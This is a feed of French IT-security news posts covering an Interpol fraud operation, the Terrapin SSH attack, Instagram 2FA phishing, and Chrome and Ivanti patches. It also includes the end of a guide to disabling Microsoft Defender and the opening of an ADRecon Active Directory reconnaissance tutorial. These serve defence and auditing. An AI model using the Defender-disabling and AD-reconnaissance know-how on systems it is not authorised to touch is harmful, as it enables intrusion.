<p>Pour <strong>désactiver la protection Microsoft Defender</strong>, à vous de choisir entre la <strong>méthode temporaire</strong> et la <strong>méthode permanente</strong>, selon vos besoins. Désormais, vous êtes en mesure de pouvoir réaliser vos tests sans être perturbé par les blocages de Defender toutes les 2 minutes... Sur une machine virtuelle, effectuez un snapshot avant de commencer à agir sur le système, ce qui vous permet de restaurer la machine virtuelle à un état antérieur afin de repartir sur une base saine avant votre prochain test.</p>



<ul>
<li><a href="https://www.it-connect.fr/comment-utiliser-les-snapshots-avec-vmware-workstation-pro/" target="_blank" rel="noopener">Comment utiliser les snapshots sur VMWare Workstation ?</a></li>



<li><a href="https://www.it-connect.fr/la-gestion-des-snapshots-avec-virtualbox%ef%bb%bf/" target="_blank" rel="noopener">Comment utiliser les snapshots sur VirtualBox ?</a></li>
</ul><p>The post <a href="https://www.it-connect.fr/comment-desactiver-windows-defender-sur-windows-11-ou-windows-10/">Comment désactiver Windows Defender sur Windows 11 ou Windows 10 ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73806
title: Interpol saisit 300 millions de dollars et arrête 3 500 cybercriminels !
uri: Interpol-saisit-300-millions-de-dollars-et-arrête-3-500-cybercrimine
url: https://www.it-connect.fr/interpol-saisit-300-millions-de-dollars-et-arrete-3-500-cybercriminels/
content:
<p><strong>Dans le cadre de l'opération "HAECHI IV" menée au niveau international, Interpol a procédé à l'arrestation de 3 500 personnes, soupçonnées d'être impliquées dans des activités cybercriminelles, ce qui a également permis de saisir 300 millions de dollars.</strong></p>



<p>L'opération HAECHI IV s'est déroulée <strong>entre juillet et décembre 2023</strong> et l'objectif des autorités été d'arrêter des cybercriminels impliqués dans des activités de <em>voice phishing</em> (vishing), de <em>romance scams</em> (ou love scams), de sextorsion, de fraude à l'investissement, mais également de compromission d'adresses e-mails. "<em>La fraude à l'investissement, la compromission de boites mails d'entreprises et la fraude au commerce électronique ont représenté 75 % des cas examinés dans le cadre de HAECHI IV.</em>", précise Interpol dans <a href="https://www.interpol.int/en/News-and-Events/News/2023/USD-300-million-seized-and-3-500-suspects-arrested-in-international-financial-crime-operation" target="_blank" rel="noopener nofollow" title="">son rapport</a>.</p>



<p>Interpol, par l'intermédiaire de son mécanisme I-GRIP, a procédé au <strong>blocage de 82 112 comptes bancaires répartis dans 34 pays</strong>. Au total, ceci correspond à <strong>199 millions de dollars d'argent</strong> placés sur les différents comptes bancaires. A cela s'ajoute <strong>101 millions de dollars correspondants à la valeur de 367 assets virtuels</strong>, notamment des <strong>NFT</strong>. </p>



<p>"<em>Cette vaste accumulation de richesses illicites constitue une menace sérieuse pour la sécurité mondiale et affaiblit la stabilité économique des nations du monde entier.</em>", précise Stephen Kavanagh d'Interpol. Cette opération met également en évidence<strong> l'utilisation de l'intelligence artificielle par les fraudeurs ! </strong>Ils ont notamment utilisé l'IA pour usurper l'identité de personnes et effectuer du chantage sexuel.</p>



<p>Il est à noter que les opérations HAECHI sont pris<strong>es en charge financièrement par la Corée du Sud.</strong> Sur ce dossier, <strong>les autorités sud-coréennes ont collaboré avec les services de 34 pays</strong>, dont les États-Unis, le Royaume-Uni, le Japon, l'Espagne, la Suède, l'Inde ou encore la Slovénie. Pour information, la France n'a pas participé à cette opération.</p>



<p>Enfin, il faut souligner que le nombre d'arrestations effectué dans le cadre de l'opération HAECHI IV a <strong>augmenté de 260% </strong>par rapport à l'opération HAECHI III, qui s'est déroulée entre juin et novembre 2022.</p>



<p><a href="https://www.bleepingcomputer.com/news/security/interpol-operation-arrests-3-500-cybercriminals-seizes-300-million/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/interpol-saisit-300-millions-de-dollars-et-arrete-3-500-cybercriminels/">Interpol saisit 300 millions de dollars et arrête 3 500 cybercriminels !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73823
title: Windows 11 : Microsoft a résolu l’étrange problème de connexion Wi-Fi ! Voici la solution !
uri: Windows-11-Microsoft-a-résolu-l-étrange-problème-de-connexion-W
url:
https://www.it-connect.fr/windows-11-microsoft-a-resolu-letrange-probleme-de-connexion-wi-fi-voici-la-solution/

content:
<p><strong>Vous avez des problèmes de connexion Wi-Fi sous Windows 11 suite à l'installation de la mise à jour de décembre 2023 ? Sachez que Microsoft a résolu le problème ! Voici ce qu'il faut savoir !</strong></p>



<ul>
<li><a href="https://www.it-connect.fr/windows-11-kb5033375-la-mise-a-jour-de-decembre-casse-la-connexion-a-certains-reseaux-wi-fi/" target="_blank" rel="noopener" title="">Windows 11 (KB5033375) : la mise à jour de décembre casse la connexion à certains réseaux Wi-Fi !</a></li>
</ul>



<p>Suite aux nombreux signalements des utilisateurs, notamment sur Reddit, X (ex-Twitter) et sur son forum, Microsoft s'est penché sérieusement sur le problème de connectivité Wi-Fi affectant les utilisateurs de Windows 11. Désormais, nous avons que <strong>ce problème affecte uniquement Windows 11 22H2 et Windows 11 23H2 </strong>lorsque la mise à jour <strong>KB5033375 </strong>est installée. Ce problème peut se produire également avec la mise à jour <strong>KB5032288</strong>, qui est la mise à jour "preview" qui contient les mêmes correctifs que la KB5033375 (hormis ceux liés à la sécurité).</p>



<p>Microsoft a également confirmé que ceci impactait <strong>uniquement certains réseaux Wi-Fi, notamment ceux que l'on est susceptible d'utiliser en entreprise </strong>: "<em>Vous êtes plus susceptible d'être affecté par ce problème si vous essayez de vous connecter à un réseau Wi-Fi d'entreprise, d'éducation ou public utilisant <strong>l'authentification 802.1x</strong>. Ce problème n'est pas susceptible de se produire sur les réseaux domestiques.</em>", peut-on lire sur <a href="https://learn.microsoft.com/en-us/windows/release-health/resolved-issues-windows-11-22h2#3227msgdesc?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title="">cette page</a>.</p>



<p><strong>Microsoft évoque l'authentification 802.1x</strong>, ce qui est différent du premier diagnostic effectué par la communauté : l'option <em>fast roaming</em> (norme<strong> IEEE 802.11r</strong>) était plutôt dans le viseur.</p>



<h2 class="wp-block-heading">Comment résoudre le problème ?</h2>



<p>Pour résoudre ce problème, <strong>Microsoft s'est appuyé sur son service KIR (Known Issue Rollback)</strong>. Pour rappel, l'objectif de la fonctionnalité <strong>KIR</strong> est de rétablir le bon fonctionnement d'une machine dans le cas où des dysfonctionnements sont détectés. Sur les appareils non managés et ceux du grand public, le correctif est diffusé automatiquement et ceci peut prendre jusqu'à 24 heures pour être déployé sur l'ensemble des appareils concernés.</p>



<p>En environnement professionnel, la procédure est différente : "<em>Pour les appareils gérés par l'entreprise qui ont installé une mise à jour affectée et qui ont rencontré ce problème, celui-ci peut être résolu en installant et en configurant une stratégie de groupe spéciale.</em>", précise Microsoft.</p>



<p>En l'occurrence, vous devez<strong> télécharger ce <a href="https://download.microsoft.com/download/3/d/4/3d4cf819-692d-48cd-a118-49db712250c9/Windows%2011%2022H2%20KB5032288%20231029_032011%20Known%20Issue%20Rollback.msi" target="_blank" rel="noopener nofollow" title="">package MSI</a> </strong>pour obtenir le package "<strong>Windows 11 22H2 KB5032288 231029_032011 Known Issue Rollback</strong>" permettant de bénéficier d'un nouveau paramètre sous "<strong>Configuration ordinateur</strong>" puis "<strong>Modèles d'administration</strong>".</p>



<p>L'entreprise américaine précise bien que : "<em>Pour résoudre ce problème, vous devez installer et configurer la stratégie de groupe correspondant à votre version de Windows.</em>" - Pour en savoir plus, vous pouvez <strong>consulter la documentation officielle</strong> :</p>



<ul>
<li><a href="https://learn.microsoft.com/en-us/troubleshoot/windows-client/group-policy/use-group-policy-to-deploy-known-issue-rollback?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title="">Microsoft Learn - KIR</a></li>
</ul>



<p>Rappelons également que Microsoft a corrigé un bug étrange lié aux imprimantes sous Windows 10, Windows 11 et Windows Server :</p>



<ul>
<li><a href="https://www.it-connect.fr/windows-solution-bug-des-imprimantes-hp-decembre-2023/" target="_blank" rel="noopener" title="">Windows et le bug des imprimantes HP : voici la solution de Microsoft (à appliquer vous-même)</a></li>
</ul><p>The post <a href="https://www.it-connect.fr/windows-11-microsoft-a-resolu-letrange-probleme-de-connexion-wi-fi-voici-la-solution/">Windows 11 : Microsoft a résolu l’étrange problème de connexion Wi-Fi ! Voici la solution !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73827
title: Phishing : les pirates veulent voler les codes de secours 2FA de votre compte Instagram
uri: Phishing-les-pirates-veulent-voler-les-codes-de-secours-2FA-de-votre
url: https://www.it-connect.fr/phishing-instagram-vol-codes-2fa-de-secours/
content:
<p><strong>Une nouvelle campagne de phishing cible Instagram et elle présente la particularité de chercher à voler les codes de secours des utilisateurs du réseau social de Meta ! Grâce à ces précieux codes, les pirates peuvent contourner l'authentification à deux facteurs ! Voici ce que l'on sait.</strong></p>



<p>Pour protéger son compte utilisateur, que ce soit celui sur Instagram ou ailleurs, il est recommandé de configurer l'authentification à deux facteurs (2FA/MFA) dès que c'est possible. Ceci permet de mieux protéger l'accès à son compte utilisateur notamment en cas de fuite d'un identifiant et d'un mot de passe. </p>



<p>Bien souvent, lors de la configuration du MFA,<strong> le service ou l'application en question fournit à l'utilisateur un ensemble de codes de secours </strong>permettant d'avoir <strong>une solution de replie</strong> si le second facteur d'authentification est "inaccessible". Par exemple, si vous utilisez la méthode par SMS ou TOTP mais que votre téléphone est totalement hors service.<strong> Dans ce cas, le code de secours permet de valider le second facteur d'authentification.</strong></p>



<p>Bien que pratique dans certaines situations, <strong>ces codes représentent également un risque et les cybercriminels l'ont bien compris</strong>. Depuis plusieurs années maintenant, les cybercriminels ont mis au point différentes techniques permettant d'outrepasser le MFA afin de continuer à compromettre les comptes des utilisateurs.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="320" src="media/e558eec8.Instagram-2FA-exemple-codes-de-secours.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Instagram-2FA-exemple-codes-de-secours.jpg" alt="" class="wp-image-73829" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Instagram-2FA-exemple-codes-de-secours.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Instagram-2FA-exemple-codes-de-secours-550x220.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Instagram-2FA-exemple-codes-de-secours-150x60.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Instagram-2FA-exemple-codes-de-secours-768x307.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Instagram-2FA-exemple-codes-de-secours-50x20.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">Source : Trustwave</figcaption></figure>



<h2 class="wp-block-heading">Instagram : collecte d'identifiants, de mots de passe et de codes de secours 2FA</h2>



<p>Les <a href="https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/instagram-phishing-targets-backup-codes/" target="_blank" rel="noopener nofollow" title="">analystes de chez Trustwave</a> ont repéré des attaques basées sur une campagne de phishing dont l'objectif est de<strong> voler ces fameux codes</strong>. Pour cela, les utilisateurs reçoivent <strong>un e-mail aux couleurs de Meta faisant référence à une violation des droits d'auteur sur l'une de leurs publications Instagram</strong>, ce qui a mené à la restriction du compte Instagram. Si, pris de panique, l'utilisateur <strong>clique sur le lien</strong>, il est redirigé vers une page contrôlée par les pirates où on lui demande de <strong>remplir un formulaire d'appel pour résoudre le problème</strong> !</p>



<p>Pendant ce processus, la page "<strong>Meta Portal</strong>" demande à l'utilisateur de saisir <strong>son identifiant, son mot de passe</strong>, puis on lui demande si son compte est protégé par l'authentification à deux facteurs. Si l'utilisateur répond oui, <strong>il est invité à saisir un code de secours à 8 chiffres</strong>, comme le montre l'image ci-dessous. Ainsi, les cybercriminels ont<strong> tous les éléments en leur possession pour prendre le contrôle du compte</strong>.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="765" height="398" src="media/2a82f73f.Instagram-2FA-vol-de-codes-de-secours.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Instagram-2FA-vol-de-codes-de-secours.jpg" alt="Instagram 2FA vol de codes de secours.jpg" class="wp-image-73828" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Instagram-2FA-vol-de-codes-de-secours.jpg 765w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Instagram-2FA-vol-de-codes-de-secours-550x286.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Instagram-2FA-vol-de-codes-de-secours-150x78.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Instagram-2FA-vol-de-codes-de-secours-50x26.jpg 50w" sizes="(max-width: 765px) 100vw, 765px" /><figcaption class="wp-element-caption">Source : Trustwave</figcaption></figure>



<p>Bien qu'il y ait plusieurs éléments qui permettent de détecter cette arnaque, il est fort probable, que dans l'urgence, des utilisateurs se soient fait piéger. Posez-vous les bonnes questions : pourquoi me demande-t-on un code de secours 2FA si je suis en mesure d'utiliser mon second facteur d'authentification habituel ?</p>



<p><a href="https://www.bleepingcomputer.com/news/security/new-phishing-attack-steals-your-instagram-backup-codes-to-bypass-2fa/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/phishing-instagram-vol-codes-2fa-de-secours/">Phishing : les pirates veulent voler les codes de secours 2FA de votre compte Instagram</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73810
title: L’attaque Terrapin exploite plusieurs vulnérabilités dans SSH ! Un correctif est disponible !
uri: L-attaque-Terrapin-exploite-plusieurs-vulnérabilités-dans-SSH-Un
url:
https://www.it-connect.fr/lattaque-terrapin-exploite-plusieurs-vulnerabilites-dans-ssh-un-correctif-est-disponible/

content:
<p><strong>Des chercheurs universitaires ont mis au point une nouvelle technique d'attaque nommée Terrapin qui affecte l'une des solutions d'administration à distance les plus populaires : OpenSSH. Au total, trois nouvelles failles de sécurité sont exploitées !</strong></p>



<ul>
<li><a href="https://www.it-connect.fr/cours/comprendre-et-maitriser-ssh/" target="_blank" rel="noopener" title="">Cours - Comprendre et maitriser SSH</a></li>
</ul>



<p>Les chercheurs en sécurité de l'Université de la Ruhr à Bochum (Allemagne) ont mis au point la technique<strong> Terrapin</strong>. Elle exploite plusieurs faiblesses dans OpenSSH désormais identifiées par<strong> trois références CVE </strong>: CVE-2023-48795, CVE-2023-46445 et CVE-2023-46446.</p>



<p>Pour que cette attaque puisse fonctionner, <strong>l'attaquant doit se trouver en position de <em>man-in-the-middle</em></strong> (MiTM), au niveau de la couche réseau, afin de pouvoir <strong>intercepter et modifier l'échange entre le client SSH et le serveur SSH</strong>, au moment de la "poignée de main" (<em>handshake</em>) via une injection de paquets. Autre condition pour que l'attaque soit possible : la connexion doit être sécurisée avec ChaCha20-Poly1305 ou CBC avec "<em>Encrypt-then-MAC</em>". Cette attaque permettrait de <strong>porter atteinte à l'intégrité des données échangées</strong>, mais potentiellement d'<strong>exécuter du code à distance</strong>.</p>



<p>Les chercheurs en sécurité estiment que cette attaque est réalisable dans un scénario réel. "<em>L'attaque Terrapin exploite les faiblesses du protocole de couche de transport SSH en combinaison avec les nouveaux algorithmes cryptographiques et modes de chiffrement introduits par OpenSSH, il y a plus de 10 ans</em>", peut-on lire sur le <a href="https://terrapin-attack.com/" target="_blank" rel="noopener nofollow" title="">site officiel de l'attaque Terrapin</a>.</p>



<p>En complément, une analyse effectuée par les chercheurs a révélé que<strong> 77% des serveurs avec le service SSH exposé sur Internet prennent en charge au moins un des algorithmes</strong> de chiffrement vulnérables.</p>



<h2 class="wp-block-heading">Comment se protéger ? Ma machine est-elle vulnérable ?</h2>



<p>Tout d'abord, il faut savoir que <strong>toutes les versions d'OpenSSH antérieures à la version 9.6</strong> sont vulnérables. Cette nouvelle version est disponible <strong>depuis le 18 décembre 2023</strong>, et il s'agit avant tout d'une mise à jour de sécurité, comme le montre la <a href="https://www.openssh.com/txt/release-9.6" target="_blank" rel="noopener nofollow" title="">note de version officielle</a>.</p>



<p>Sur le site Internet dédié à cette attaque, les chercheurs ont répondu "Presque tout le monde" à la question "Qui est vulnérable ?". La bonne nouvelle, c'est qu'<strong>un outil est à disposition des utilisateurs de Linux, Windows et macOS </strong>afin d'analyser leur système et vérifier si leur système est vulnérable à l'attaque Terrapin. L'outil est accessible sur ce <a href="https://github.com/RUB-NDS/Terrapin-Scanner" target="_blank" rel="noopener nofollow" title="">dépôt GitHub</a>.</p>



<p>Désormais, ce sont les différents éditeurs qui doivent aider les utilisateurs en diffusant cette nouvelle version d'OpenSSH. <strong>Bien qu'il y a un risque réel, n'oublions pas que cette attaque implique plusieurs prérequis (dont le MiTM) !</strong></p>



<p><a href="https://www.bleepingcomputer.com/news/security/terrapin-attacks-can-downgrade-security-of-openssh-connections/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/lattaque-terrapin-exploite-plusieurs-vulnerabilites-dans-ssh-un-correctif-est-disponible/">L’attaque Terrapin exploite plusieurs vulnérabilités dans SSH ! Un correctif est disponible !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73841
title: Avec Google Contacts, vous pouvez localiser vos proches en temps réel !
uri: Avec-Google-Contacts-vous-pouvez-localiser-vos-proches-en-temps-réel
url: https://www.it-connect.fr/avec-google-contacts-vous-pouvez-localiser-vos-proches-en-temps-reel/
content:
<p><strong>Une nouvelle fonctionnalité de géolocalisation des contacts a été introduite dans l'application Google Contacts pour Android. Grâce à elle, vous pouvez localiser votre famille, vos amis, en temps réel !</strong></p>



<p>Rassurez-vous : pour qu'un utilisateur puisse être géolocalisé en temps réel, la fonction doit être activée dans les paramètres de l'application Google Contacts. Sur Android, vous devez utiliser <strong>Google Contacts en version 4.22.37.586680692 </strong>ou supérieur pour bénéficier de cette nouveauté.</p>



<p>Si l'un de vos contacts prend la décision de partager son emplacement actuel, <strong>sa position sera partagée par l'intermédiaire de Google Maps </strong>et elle sera visible dans les propriétés de la fiche contact via un nouveau bloc "Google Maps". Ce bloc d'informations indique la position actuelle du contact et se met à jour en temps réel.</p>



<p>Ceci implique que l'adresse du compte Google de la personne soit enregistrée dans sa fiche contact, dans le champ prévu à cet effet. <strong>Chaque utilisateur peut prendre la décision de démarrer ou stopper ce service à tout moment.</strong> D'ailleurs, un nouveau bouton nommé "<strong>Partage de localisation</strong>" a pris part aux côtés des boutons habituels (appel vocal, message texte, appel vidéo).</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="420" height="327" src="media/d92fd9d5.Google-Contacts-Partage-de-localisation.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Google-Contacts-Partage-de-localisation.jpg" alt="" class="wp-image-73842" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Google-Contacts-Partage-de-localisation.jpg 420w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Google-Contacts-Partage-de-localisation-150x117.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Google-Contacts-Partage-de-localisation-50x39.jpg 50w" sizes="(max-width: 420px) 100vw, 420px" /><figcaption class="wp-element-caption">Source : <a href="https://www.androidcentral.com/apps-software/google-contacts-app-live-location-sharing" target="_blank" rel="noopener nofollow" title="">Android Central</a></figcaption></figure>



<p>Afin de respecter la confidentialité des utilisateurs (et d'économiser la batterie du smartphone), il est à noter qu'une session de <strong>partage de localisation ne peut durer que 60 minutes au maximum.</strong></p>



<p>Cette nouvelle fonctionnalité introduite par Google permettra d'<strong>avoir l'esprit plus tranquille dans diverses situations</strong> : certains parents ne diront pas le contraire. Pour autant, la fonction n'est pas innovante pour autant, car il y a déjà<strong> des fonctions similaires dans d'autres applications, dans WhatsApp et Messenger </strong>par exemple, même si l'intégration est différente.</p>



<p>Cette fonctionnalité est actuellement en cours de déploiement dans Google Contacts. Si vous voyez pas encore cette nouveauté, patientez et attendez que la nouvelle version de l'application soit disponible sur votre appareil Android.</p>



<p><a href="https://www.frandroid.com/android/applications/google-apps/1891617_google-lance-une-fonction-tres-pratique-en-cas-de-retard-ou-pour-rentrer-en-toute-securite" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/avec-google-contacts-vous-pouvez-localiser-vos-proches-en-temps-reel/">Avec Google Contacts, vous pouvez localiser vos proches en temps réel !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73849
title: Mettez à jour Google Chrome pour vous protéger de la faille de sécurité CVE-2023-7024
uri: Mettez-à-jour-Google-Chrome-pour-vous-protéger-de-la-faille-de-sécu
url: https://www.it-connect.fr/google-chrome-faille-de-securite-cve-2023-7024/
content:
<p><strong>Une mise à jour de sécurité a été déployée en urgence pour Google Chrome dans le but de corriger une faille de sécurité importante déjà connue et exploitée par les cybercriminels. Voici ce que l'on sait à son sujet !</strong></p>



<p>Google a mis en ligne un nouveau bulletin de sécurité pour évoquer la <strong>faille de sécurité CVE-2023-7024</strong> reportée, comme souvent, par Clément Lecigne et Vlad Stolyarov de l'équipe de chercheurs <em>Google Threat Analysis</em>. D'ailleurs, <strong>Google a corrigé cette vulnérabilité seulement quelques heures après en avoir eu connaissance</strong> : c'est appréciable !</p>



<p>Dans le <a href="https://chromereleases.googleblog.com/2023/12/stable-channel-update-for-desktop_20.html" target="_blank" rel="noopener nofollow" title="">bulletin de sécurité</a> de l'entreprise américaine, nous pouvons lire : "<em>Google sait qu'il existe un programme d'exploitation pour CVE-2023-7024 dans la nature.</em>" - Il s'agit d'une vulnérabilité de type "<em>heap buffer overflow</em>" découverte dans l<strong>e framework open source WebRTC</strong>. </p>



<p>Ce framework étant très populaire, notamment car il permet la prise en charge du streaming (flux vidéo) dans les navigateurs : "<em><strong>WebRTC</strong>&nbsp;(Web Real-Time Communications) est une technologie qui permet aux applications et sites web de capturer et éventuellement de diffuser des médias audio et/ou vidéo, ainsi que d'échanger des données arbitraires entre les navigateurs sans passer par un intermédiaire.</em>", peut-on lire sur le <a href="https://developer.mozilla.org/fr/docs/Web/API/WebRTC_API" target="_blank" rel="noopener nofollow" title="">site de Mozilla</a>. </p>



<p>Etant donné que WebRTC est implémenté au sein d'autres navigateurs, dont Microsoft Edge, Mozilla Firefox, et Safari, cette vulnérabilité pourrait les affecter également. Si c'est le cas, ces navigateurs auront surement le droit à une mise à jour.</p>



<h2 class="wp-block-heading">Comment se protéger de la CVE-2023-7024 ?</h2>



<p>Google a mis en ligne de <strong>nouvelles versions de Google Chrome pour Windows, macOS et <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/linux/" target="_blank" rel="noopener" title="Linux" data-wpil-keyword-link="linked">Linux</a></strong>. Voici les nouvelles versions qui permettent de se protéger de cette vulnérabilité :</p>



<ul>
<li>Windows :120.0.6099.129/130</li>



<li>Linux et macOS : 120.0.6099.129</li>
</ul>



<p>En 2023, il s'agit de la<strong> 8ème faille de sécurité zero-day corrigée par Google dans son navigateur Chrome</strong>. Il y a des chances pour que ce soit la dernière pour cette année !</p>



<p><em>A vos mises à jour !</em></p>



<p><a href="https://www.bleepingcomputer.com/news/security/google-fixes-8th-chrome-zero-day-exploited-in-attacks-this-year/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/google-chrome-faille-de-securite-cve-2023-7024/">Mettez à jour Google Chrome pour vous protéger de la faille de sécurité CVE-2023-7024</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73857
title: 13 failles de sécurité critiques corrigées dans la solution MDM de chez Ivanti
uri: 13-failles-de-sécurité-critiques-corrigées-dans-la-solution-MDM-de
url: https://www.it-connect.fr/ivanti-avalanche-13-failles-critiques-decembre-2023/
content:
<p><strong>La société Ivanti a mis en ligne des mises à jour de sécurité afin de corriger 13 failles de sécurité critiques dans sa solution de gestion des appareils mobiles (MDM) : Ivanti Avalanche. Quels sont les risques ? Faisons le point !</strong></p>



<p><strong>Remarque</strong> : Ivanti Avalanche est une solution de gestion des appareils mobiles prenant en charge jusqu'à 100 000 appareils et permettant de déployer des logiciels, mettre à jour l'OS, gérer l'ensemble des appareils managés depuis une console unique.</p>



<p>Du côté d'Ivanti, la fin d'année 2023 est synonyme d'énorme mise à jour de sécurité pour sa solution Avalanche. Il s'agit de vulnérabilités critiques dont "<em>certaines d'entre elles permettent à un attaquant de provoquer une exécution de code arbitraire à distance, un déni de service à distance et un contournement de la politique de sécurité.</em>", comme le précise l'<a href="https://www.cert.ssi.gouv.fr/avis/CERTFR-2023-AVI-1049/" target="_blank" rel="noopener nofollow" title="">avis du CERT-FR</a>. En effet, il y a <strong>9 failles de sécurité critique permettant une exécution de code à distance</strong> ! </p>



<p>Ces vulnérabilités, signalées par les chercheurs en sécurité de Tenable et la Zero Day Initiative de Trend Micro, se situent dans le composant "WLAvalancheService" de la solution Avalanche.</p>



<p>Sachez que de nombreuses versions sont affectées : "<em>Ces vulnérabilités affectent toutes les anciennes versions d'Avalanche (confirmées jusqu'à la version 6.3.1, mais toutes les versions 6.X sont probablement concernées).</em>", peut-on lire sur le<a href="https://forums.ivanti.com/s/article/Avalanche-6-4-2-Security-Hardening-and-CVEs-addressed?language=en_US" target="_blank" rel="noopener nofollow" title=""> site officiel d'Ivanti</a>.</p>



<h2 class="wp-block-heading">Comment se protéger ?</h2>



<p>Toutes les vulnérabilités de sécurité divulguées dans le bulletin de sécurité d'Ivanti sont désormais corrigées dans <strong>Avalanche en version v6.4.2.313</strong>. Si vous avez besoin d'aide pour mettre à jour votre instance Avalanche, vous pouvez consulter la <a href="https://help.ivanti.com/wl/help/en_US/AVA/6.3/Avalanche/Install/upgradingAvalanche.htm" target="_blank" rel="noopener nofollow" title="">documentation officielle</a> d'Ivanti.</p>



<p>Il est à noter que cette mise à jour corrige 13 failles de sécurité critiques,<strong> mais également 8 vulnérabilités importantes et 1 vulnérabilité moyenne</strong>. Au total, il y a donc une petite vingtaine de vulnérabilités comblées !</p>



<p>Mettez à jour rapidement si vous utilisez cette solution.</p>



<p><a href="https://www.bleepingcomputer.com/news/security/ivanti-releases-patches-for-13-critical-avalanche-rce-flaws/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/ivanti-avalanche-13-failles-critiques-decembre-2023/">13 failles de sécurité critiques corrigées dans la solution MDM de chez Ivanti</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73596
title: ADRecon, un outil en PowerShell pour collecter des informations sur l’Active Directory
uri: 2023-12-26-
url: https://www.it-connect.fr/decouverte-reconnaissance-active-directory-adrecon/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans cet article, nous allons découvrir l'outil ADRecon pour Active Directory Recon qui va permettre de collecter différentes informations à partir d'un annuaire Active Directory. </strong></p>



<p>ADRecon va <strong>générer un rapport Excel</strong> qui va contenir un ensemble d'informations au sujet de l'environnement Active Directory analysé, notamment celles-ci :</p>



<ul>
<li>Domaines, forêts, sites, relations d'approbations, sous-réseau</li>



<li>Liste des contrôleurs de domaine (OS, adresse IP, rôles FSMO, versions SMB supportées, SMB signing, etc.)</li>



<li>Politiques de mots de passe (y compris les stratégies de mots de passe affinées)</li>



<li>Liste des unités d'organisation</li>



<li>Liste des utilisateurs, des groupes et des membres des groupes</li>



<li>Liste des ordinateurs</li>



<li>Liste des comptes de services</li>



<li>Liste des imprimantes</li>



<li>Informations sur les stratégies de groupe (<a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/windows-server/gpo-windows/" target="_blank" rel="noopener" title="GPO" data-wpil-keyword-link="linked">GPO</a>)</li>



<li>Informations au sujet de LAPS et des clés de récupération BitLocker</li>



<li>Liste des permissions (SACLs / DACLs)</li>



<li>Zones DNS, enregistrements DNS</li>



<li>Un ensemble de statistiques et d'indicateurs au sujet des utilisateurs et des ordinateurs</li>
</ul>



<p>L'outil ADRecon est utile pour les administrateurs systèmes, les auditeurs, les pentesters, etc...Tout dépend dans quel contexte il est utilisé et ce que l'on souhaite faire des données collectées. En quelques secondes, l'outil ADRecon va permettre de<strong> créer un inventaire de la configuration et des objets de l'Active Directory à l'instant <em>t</em></strong>.</p>



<p>Pour en savoir plus, consultez le GitHub du projet :</p>



<ul>
<li><a href="https://github.com/sense-of-security/ADRecon" target="_blank" rel="noopener nofollow" title="">GitHub - ADRecon</a></li>
</ul>



<h2 class="wp-block-heading">II. La valeur des informations de l'Active Directory</h2>



<p>Grâce à la récupération d'informations sensibles à partir de l'Active Directory, il devient possible d'identifier plus facilement les points faibles du domaine <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/windows-server/windows-active-directory/" target="_blank" rel="noopener" title="Active Directory" data-wpil-keyword-link="linked">Active Directory</a>, ainsi que les comptes avec des privilèges élevés, ou les éventuels erreurs de configuration (une ACL trop permissive, une GPO avec un script qui intègre un mot de passe, une politique de mots de passe faible, etc...).</p>



<h2 class="wp-block-heading">III. Découverte d'un annuaire Active Directory avec ADRecon</h2>



